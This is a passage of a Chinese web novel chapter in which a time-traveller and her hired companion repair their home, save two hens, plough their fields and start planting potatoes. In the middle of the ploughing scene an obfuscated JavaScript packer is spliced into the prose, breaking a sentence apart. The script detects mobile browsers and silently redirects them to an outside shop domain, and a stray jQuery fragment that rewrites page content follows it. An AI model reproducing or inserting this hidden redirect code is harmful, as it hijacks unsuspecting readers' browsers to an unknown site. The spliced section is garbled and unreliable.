回到山上的家中,天色已经暗了下来,叶云峥一只手里提着吴正夫送的蔬菜瓜果、酱菜之类的,一只手抱着一卷铺盖,铺盖卷得整整齐齐,隐隐散发着阳光晒过的干爽味道。程明月则扛了一袋子粗面。
算得上是满载而归。
叶云峥自从那日下山后便没再回来过,如今回到这间简陋的小院中,竟有种鸟雀还巢的亲切感,他来到此处连一个月都不到,竟然已有这里是他家的感觉了。
古人说吾心归处是吾乡,或许就是这个意思。村正家虽好,却不如自己家安心。
想到这儿,他转头看向程明月,程明月估计也是一样的感受,她扑倒自己的木床上翻腾了好几圈。木床发出轻微的嘎吱声,叶云峥无奈地摇了摇头,走上前去将她撵下去,然后开始细心地把床铺好。又去拿了扫帚和抹布将家里简单打扫了一下,才放程明月进屋里。
程明月已经在三间屋子里都转了一圈,她跟叶云峥兴奋地说:“老张头手艺还蛮不错的,我看房顶上都已经盖住了,内间这儿的墙壁也修好了,这下就算是刮上次那样的大风也不至于屋顶都给掀翻了。”
叶云峥却带着一丝担忧地说:“看着虽好,若是冬天下雪却未必禁得住。”
程明月听了点头称是:“干娘也是这么说的,不过快农忙了,大家都忙着自己田里的事情,找不到人。等农忙过去她就找人来帮咱们把房子翻修一遍。到时候把房子好好加固一下,最好再弄点保暖的措施,这样冬天住着就会踏实多了。”
咱们。
这个词从程明月嘴里说出来的时候,叶云峥的心仿佛被什么轻轻触动了一下。
他很喜欢从程明月嘴里听到这个词,就仿佛他和程明月才是一个屋檐下真正的一家人,他们将共同面对生活中的风雨阳光,共同度过每一个清晨与黄昏。其他的人就算再亲近也只是外人。
可还没来得及暗自回味这份欢喜,下一秒他便听到程明月说:“到时候沿着我这件屋,给你也盖一间,就不用再委屈你睡在我这屋的外间了。”在程明月眼里,有两个门的房间不足以称之为房间,不过是个过道,充其量算是客厅。
说着她就把白天吴村正跟她盘算的修屋盖房,买纺车织机和田地的事情说了,二十五两银子安排的明明白白的。
听着她欢快说着打算如何布置他以后的独立小房间,叶云峥手上的动作逐渐变慢,像是被什么东西牵绊住了思绪。他正在擦拭桌子的手渐渐停了下来,抹布还握在手中,却忘记了动作。
程明月坐在小凳子上,双脚像两个调皮的小鼓槌一样摇晃着,脸上带着没心没肺的笑容,她仿佛邀功似的和他分说有这么一间独立房间的好处:“等你有了自己的房间,就能拥有自己独立的私人空间,想换个衣服什么的也方便,不用再防备我了。你看现在,每次你换衣服都得小心翼翼的,生怕我突然闯进去,多不方便呀。而且你也能有自己的小角落,可以给你打个柜子,你也能放一些自己的小物件,像小梳子之类的。”
程明月觉得他住在自己的外间到底是有些不方便,孤男寡女朝夕相处,经常会推门撞到对方衣不蔽体,或者睡眼朦胧的模样,每当这个时候,总是有一抹红晕从他的脖子一直晕染到耳朵上去。
好看是好看,但程明月心里想着,他毕竟是个古代封建男子,总是要尊重他的习俗,给他几分尊重。
他因为过去的经历,本就有些敏感自卑,所以更不能让他觉得自己轻视他,看不起他。
叶云峥心内酸楚,他咬了咬唇,轻轻启齿道:“我觉得,家里缺个放东西的地方呢,还有,洗澡的地方之前也是临时搭的,等冬天就不能用了。”
他虽然和程明月接触时间不多,对她的生活喜好却一清二楚,知道她非常爱干净,只要不是累的沾床就睡,睡前是一定要洗澡的。她不愿意在吴村正家睡觉,多少有觉得在别人家洗澡不方便的因素。
程明月晃动的双脚渐渐停下来,陷入沉思:“是啊,家里确实缺放粮食的地方。等土豆挖了没处放。也没处洗澡。”
其实冬天在厨房洗也行,厨房烧柴火也暖和,正是洗澡的好地方。问题是她们家的粮食大部分都堆在厨房里,如果冬天在厨房洗澡的话,雾气升腾,那些粮食都会受潮的。
也就是说她要么多盖一间储物室,要么多搭一间浴室。
再加上给叶云峥多盖的一间卧房,就要盖两间屋子,开销就有点大了。
叶云峥又说:“你不是见到村正家的牛觉得好,想再咱家也养上一只吗?我觉得同样是花钱,与其盖间卧房,不如搭个牛圈,挨着盖间柴房,既能养牛又能放柴火堆粮食,若是下雨下雪的,还能把牛牵到柴房里避雨。”
程明月觉得他说的很有道理:“对啊,我怎么没想到!这样一举两得,柴房不用额外平地,能省不少钱。”
叶云峥见程明月已经开始顺着他的思路去思考了,松了一口气,说:“粮食和柴火都放到柴房里,纺车和织布机正好可以放到我那间屋里。只是这样的话,怕是就没钱再多盖一间房了。不过现在的情况也只能先顾着实用的地方,等以后条件好了再考虑其他的。”
程明月想了想,柴房加牛圈算是工作间,有工具属性,卧室却只能充当润色生活的作用。不论从哪个角度考虑,确实柴房更重要一点:“那就只能委屈你再在外间多住一段时间了。”
“我没关系的,咱们又不是什么富贵人家,住的地方没必要那么讲究。”叶云峥嘴角露出几不可查的微笑,继续打扫起来房间。
叶云峥的话有道理,农村人家确实对住的地方不是很讲究,很多人家一家好几口都睡在一间屋子里,这也是为什么吴村正听说她要盖一间卧室,脸上全是不理解。在吴村正的观念里,房子只要能遮风挡雨,有个睡觉的地方就足够了,何必浪费钱财去单独盖一间卧室呢。
只是这样的话,就要委屈叶云峥再在她外头凑活一阵子了。
以前给他安排住处时,她与他还不曾相识,在程明月心里,是给一个新来的帮工安排睡觉的地方,自然不能委屈自己体谅帮工。可和叶云峥相识后,她却
程明月不再纠结这个,她看叶云峥一直在打扫,自己反而闲着什么也不做,跑到院子里想把院子收拾收拾,忽然,她从院子角落里发现了一个扑腾乱动的东西。
她的眼睛里闪烁着兴奋的光芒,屏住呼吸,悄悄地跟在母鸡后头。那两只母鸡在院子里踱步,丝毫没有察觉到危险的临近,程明月瞅准时机,一下子就伸出手抓住了它们。
“叶云峥!你快来看!竟然有两只能动的母鸡。”程明月脑子里已经浮现出了鸡汤浓郁的香味“正好明天咱们喝鸡汤!”
白天在吴村正家,吴正夫说要杀鸡庆贺吴村正认了她这个干女儿的时候,天晓得她费了多大的意志力才找到理智,劝吴正夫不要杀鸡。
程明月原本买鸡的时候,觉得以她的性格,真到了杀鸡那天肯定会心疼。
万没想到,心疼是心疼了,却不是她想象的那种心疼法,她一想到养了这么久的鸡全跑了,连个毛都没摸到就心疼的紧,觉得早知道不如刚长大就宰了吃掉。
叶云峥从窗户看到两只鸡在程明月月手里扑腾,脚步匆匆从屋里跑了过来,过去的半个多月这几只鸡一直是他在喂。
叶云峥赶紧从屋里跑了过来,看到小鸡在程明月手里拼命挣扎,过来把它们解救下来,对程明月说:“都养这么大了,回头就能下蛋了,怎么能这个时候杀呢!你看这鸡长得多好,再过不久就能给我们下好多蛋了。这些蛋可以用来孵小鸡,也可以拿来做菜,杀了吃肉就太可惜了。”
程明月道:“留着万一又刮风吹跑了就白养了。”
叶云峥睫毛扑朔:“这次搭的结实一点便不会塌了。”
叶云峥领她到鸡窝处,指挥她把鸡窝的砖头和树枝拾起来重新垒了一个鸡窝,又跟她说:“便是要杀,也等养大点再说,还这么小呢。”
“好吧。”
程明月失望。
她多么想吃两条腿的肉啊,自从她来了这里,就只吃过没腿的肉(鱼),两条腿的肉一次都没吃过,四条腿的更是想都不用想。
她叹了口气,看看已经黑了的天色,现在去抓鱼也来不及了,明天她还得翻地好种土豆,种地这事儿赶天时,等冷了再种土豆,产量会受影响,她接下来一段时间怕是很忙,没时间去抓鱼,估计连没腿的肉都吃不上。
到底什么时候才能过上顿顿有肉的生活啊。
为什么这里的人都不馋呢?叶云峥,胡二娘,吴家三口,全都是觉得吃饱就满足了,仿佛只有她,吃饱了之后还想吃肉,想吃糖,想用油炸薯片和薯条安抚她的胃。
现代社会里有各种各样的美食,肉的种类繁多,烹饪方式也多种多样,而现在她却只能吃用最朴素做法做的最简单的食物。
算了,再忍一忍,等土豆种出来她就能吃上炸薯条了。
接下来的四天,叶云峥和程明月把几乎将所有的时间和精力,都投入到了土地的翻耕里面。
土地翻耕,向来是累活重活,古代农具又简陋,还好程明月家有个犁,否则就要用锄头把两亩地一锄头一锄头的翻完,不光辛苦还耗时。
即便有犁,拉犁的过程也不是一个人能轻松完成的。当初程明月下定决心要去山下买个人回来,就是因为她一个人拉不了犁。不能像现在这样,她在前面弓着背拉动沉重的犁把,叶云峥则在一旁扶着犁,控制方向和深度。
脚下的土
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742268|144602||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地也并非平坦光滑,时不时会遇到石块、硬土块,还有玉米棉花大豆的的根茬。
程明月每走一步都感觉像是背负着千斤重担,每一步,都像是拖着一座无形的大山,犁铧艰难地切入土地,土地与犁具抗拒,发出沉闷的“嘎吱”声。
随着时间的推移,太阳高悬天空,炽热的阳光毫不留情地洒在他们身上。程明月的脸被晒得通红,汗水从发根渗出,沿着额头、眉毛流淌下来,模糊了视线,她也无暇擦拭。
叶云峥看着程明月汗水打湿了衣衫,紧紧贴在身体上,有些心疼,不住的要和程明月换一换,被程明月坚定地拒绝了。
他扶犁也并不轻松,时刻要保持专注,手臂也需要不断用力来稳住犁,防止其偏离方向,时间一长,手臂会变得麻木无力。
回到田边休息喝水的时候,她看到叶云峥拿着水瓢的手都在抖。
跟掰玉米比起来,犁地累的太多了,还不像收获时能看到硕果累累,看着高兴能有点正反馈,而翻耕就只有累,眼前只有一片还未翻耕完的土地,看不到尽头。
程明月刚病了一场,家里也有点积蓄,其实没有干的那么急。她已经很注意控制每天工作量了,中午烈日当头时,就会带着叶云峥去一旁阴凉处休息。
饶是如此,她依旧累的每天回去倒头就睡,一点也不想说话,她感觉自己的身体像是被抽空了一样,所有的力气都被土地吸走了。
可叶云峥竟然还有时间把棉花白天倒腾出去晒,晚上回来收,以及每天从厨房变出来两顿饭。
对,变,在程明月眼里,就是变出来的,她是真不知道他到底从哪儿偷出来的时间去做饭。
所以当程明月看到叶云峥累的手抖,心里满是愧疚,难受的不得了,她觉得自己这个雇主差劲极了,早知道这个活这么累,又不是没钱,怎么不早点买头牛回来呢?
叶云峥听着程明月愧疚的说完后悔没买牛,没忍住笑了出来:“这算什么,我以前可是一个人操持全家的活,还要赶牛种地……”说着,他停了下来,他之前便发现程明月每次听到他之前的事都会有些郁闷许久。
他便换了个角度,道:“再说了,现在就快收谷收稻种小麦了,谁会卖你牛啊,能买也得花大价钱,太不值得了。而且牛要从小养才能听你的,大家都是初春买牛犊子回来养,哪有秋天买牛的啊。”
程明月想想他说的有道理,也只能作罢。
等到两亩地翻完,终于空出手来,程明月天不亮就去河里捞了两条鱼回来。
叶云峥拎着鱼说:“这几天明月辛苦了,是得做点好吃的犒劳犒劳你。中午随便吃点煎鱼,晚上就把煎鱼炖了吃。”
他说这话的时候嘴角和眼睛都弯弯的,非常好看。就是程明月听着,觉得很像是在调侃她吃不得苦,要不就是在笑话她嘴馋。
程明月听着只笑,这说明如今的叶云峥已经不像初相识那样拘谨了,是好事。
她巴不得他能放下过去。
和耕地相比,种地相对来说没这么累。所以今天程明月让叶云峥在家做鱼,她自己去种土豆。
嗯……插秧还是很累的,但种土豆很简单,土豆是个公认的懒汉作物,只要挖个坑,埋点土,数个九九八十一,种一个,长十个……不行不行,如果种一个只能长十个,那就说明她之前的育种失败了,起码得给她长二十。
程明月搬着一筐土豆种子到田边,盘腿坐了下来,除了玉米留种的那片土地,其他的玉米杆子和棉花枝丫都被她清掉了,凡是能摘的棉花都摘走了,有些剩的青色的棉桃她也没有管直接清掉。
吃一堑长一智,她不能再干这种捡芝麻丢西瓜的蠢事了,不能让这些未开的棉桃影响到土豆的播种。
可当一切准备就绪,挖坑翻土就能开种了,她却陷入深深的沉思。
土豆这个东西,如果要说好处,那是一天都说不完。
高产,绝对的高产,在现代,水稻一亩地突破两千斤大家都会欢呼雀跃,可土豆呢,随随便便就能长个四五千斤。
就连我们国家都研究土豆主粮化。很多专家都在搞这个,研究土豆很好拿经费,这也是为什么程明月会有几筐土豆种薯。
适应性强,贫瘠的山地上都能长。
营养还丰富,适应性又强,种植周期也短,还挖出来就吃,不像水稻小麦谷子要脱壳。储存也方便,堆起来就能储存,也不像玉米还得费劲地剥下籽粒。
可以说,再没有比它更高产的粮食了,很多地方大规模种土豆后,人口都迎来了一波大爆炸。
不愧被赞誉为“大地的馈赠”,是大自然赐予人类的珍贵礼物。
可就是这么个礼物,却间接导致了爱尔兰□□,饿死了一百多万人。